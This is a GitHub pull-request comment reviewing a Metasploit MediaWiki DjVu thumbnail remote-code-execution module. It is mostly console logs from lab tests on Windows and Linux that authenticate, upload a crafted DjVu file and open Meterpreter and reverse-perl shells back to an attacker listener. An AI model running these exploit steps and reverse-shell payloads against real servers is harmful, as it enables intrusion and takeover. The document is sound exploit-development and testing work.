Review MediaWiki RCE pr

Hi @Meatballs1,

This pull request tries to do small clean up on https://github.com/rapid7/metasploit-framework/pull/2939

Feel free to review / check and land once you feel comfortable with it so https://github.com/rapid7/metasploit-framework/pull/2939 will be automatically updated.

Testing on Windows:

```
msf exploit(mediawiki_thumb) > exploit

[*] Started reverse handler on 192.168.172.1:4444 
[*] Grabbing version and login CSRF token...
[+] Retrieved login CSRF token.
[*] Attempting to login...
[+] Log in successful.
[*] Getting upload CSRF token...
[+] Retrieved upload CSRF token.
[*] Uploading DjVu file LVVG.djvu...
[+] File uploaded to http://192.168.172.140/mediawiki-1.22.1/index.php/File:LVVG.djvu
[*] Sending payload request...
[*] Sending stage (39848 bytes) to 192.168.172.140
[*] Meterpreter session 4 opened (192.168.172.1:4444 -> 192.168.172.140:1119) at 2014-02-10 07:54:05 -0600

meterpreter > exit -y
[*] Shutting down Meterpreter...



msf > use exploit/multi/http/mediawiki_thumb 
msf exploit(mediawiki_thumb) > set rhost 192.168.172.140
rhost => 192.168.172.140
msf exploit(mediawiki_thumb) > set FILENAME LVVG.djvu
FILENAME => LVVG.djvu
msf exploit(mediawiki_thumb) > set TARGET 2
TARGET => 2
msf exploit(mediawiki_thumb) > set payload cmd/windows/reverse_perl
payload => cmd/windows/reverse_perl
msf exploit(mediawiki_thumb) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(mediawiki_thumb) > set TARGETURI /mediawiki-1.22.1
TARGETURI => /mediawiki-1.22.1
msf exploit(mediawiki_thumb) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Grabbing version and login CSRF token...
[*] Sending payload request...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.140:1136) at 2014-02-10 07:56:03 -0600

dir
 Volume in drive C has no label.
 Volume Serial Number is D003-765C

 Directory of C:\wamp\www\mediawiki-1.22.1

02/04/2014  06:21 PM    <DIR>          .
02/04/2014  06:21 PM    <DIR>          ..
01/14/2014  06:50 AM               111 .gitreview
01/14/2014  06:50 AM               815 .jshintignore
01/14/2014  06:50 AM               576 .jshintrc
01/14/2014  06:50 AM             3,816 api.php
```

Testing on Linux:

```
msf exploit(mediawiki_thumb) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(mediawiki_thumb) > set lport 4444
lport => 4444
msf exploit(mediawiki_thumb) > set rhost 192.168.172.136
rhost => 192.168.172.136
msf exploit(mediawiki_thumb) > set Username Admin
Username => Admin
msf exploit(mediawiki_thumb) > set PASSWORD juan1234
PASSWORD => juan1234
msf exploit(mediawiki_thumb) > show options
s
Module options (exploit/multi/http/mediawiki_thumb):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILENAME                    no        Target DjVu file (e.g target.djvu)
   PASSWORD   juan1234         no        Password to authenticate with
   Proxies                     no        Use a proxy chain
   RHOST      192.168.172.136  yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /mediawiki       yes       Base MediaWiki path
   USERNAME   Admin            no        Username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.172.1    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic PHP-CLI


msf exploit(mediawiki_thumb) > set TARGETURI /mediawiki-1.22.1
TARGETURI => /mediawiki-1.22.1
msf exploit(mediawiki_thumb) > exploit

[*] Started reverse handler on 192.168.172.1:4444 
[*] Grabbing version and login CSRF token...
[+] Retrieved login CSRF token.
[*] Attempting to login...
[+] Log in successful.
[*] Getting upload CSRF token...
[+] Retrieved upload CSRF token.
[*] Uploading DjVu file ljdt.djvu...
[+] File uploaded to http://192.168.172.135/mediawiki-1.22.1/index.php/File:Ljdt.djvu
[*] Sending payload request...
[*] Sending stage (39848 bytes) to 192.168.172.136
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.136:33795) at 2014-02-10 07:39:56 -0600

meterpreter > getuid
Server username: www-data (33)
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.136 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(mediawiki_thumb) > show options

Module options (exploit/multi/http/mediawiki_thumb):

   Name       Current Setting    Required  Description
   ----       ---------------    --------  -----------
   FILENAME                      no        Target DjVu file (e.g target.djvu)
   PASSWORD   juan1234           no        Password to authenticate with
   Proxies                       no        Use a proxy chain
   RHOST      192.168.172.136    yes       The target address
   RPORT      80                 yes       The target port
   TARGETURI  /mediawiki-1.22.1  yes       Base MediaWiki path
   USERNAME   Admin              no        Username to authenticate with
   VHOST                         no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.172.1    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic PHP-CLI


msf exploit(mediawiki_thumb) > set FILENAME Ljdt.djvu
FILENAME => Ljdt.djvu
msf exploit(mediawiki_thumb) > exploit

[*] Started reverse handler on 192.168.172.1:4444 
[*] Grabbing version and login CSRF token...
[*] Sending payload request...
[*] Sending stage (39848 bytes) to 192.168.172.136
[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.136:33796) at 2014-02-10 07:40:17 -0600

meterpreter > getuid
Server username: www-data (33)
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.136 - Meterpreter session 2 closed.  Reason: User exit
msf exploit(mediawiki_thumb) > set target 1
target => 1
msf exploit(mediawiki_thumb) > set payload cmd/unix/
set payload cmd/unix/bind_perl           set payload cmd/unix/generic             set payload cmd/unix/reverse_perl_ssl    set payload cmd/unix/reverse_python      
set payload cmd/unix/bind_perl_ipv6      set payload cmd/unix/reverse_perl        set payload cmd/unix/reverse_php_ssl     set payload cmd/unix/reverse_python_ssl  
msf exploit(mediawiki_thumb) > set payload cmd/unix/
set payload cmd/unix/bind_perl           set payload cmd/unix/generic             set payload cmd/unix/reverse_perl_ssl    set payload cmd/unix/reverse_python      
set payload cmd/unix/bind_perl_ipv6      set payload cmd/unix/reverse_perl        set payload cmd/unix/reverse_php_ssl     set payload cmd/unix/reverse_python_ssl  
msf exploit(mediawiki_thumb) > set payload cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
msf exploit(mediawiki_thumb) > exploit

[*] Started reverse handler on 192.168.172.1:4444 
[*] Grabbing version and login CSRF token...
[*] Sending payload request...
[*] Command shell session 3 opened (192.168.172.1:4444 -> 192.168.172.136:33797) at 2014-02-10 07:40:33 -0600

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
^C
Abort session 3? [y/N]  y

[*] 192.168.172.136 - Command shell session 3 closed.  Reason: User exit
msf exploit(mediawiki_thumb) > 
```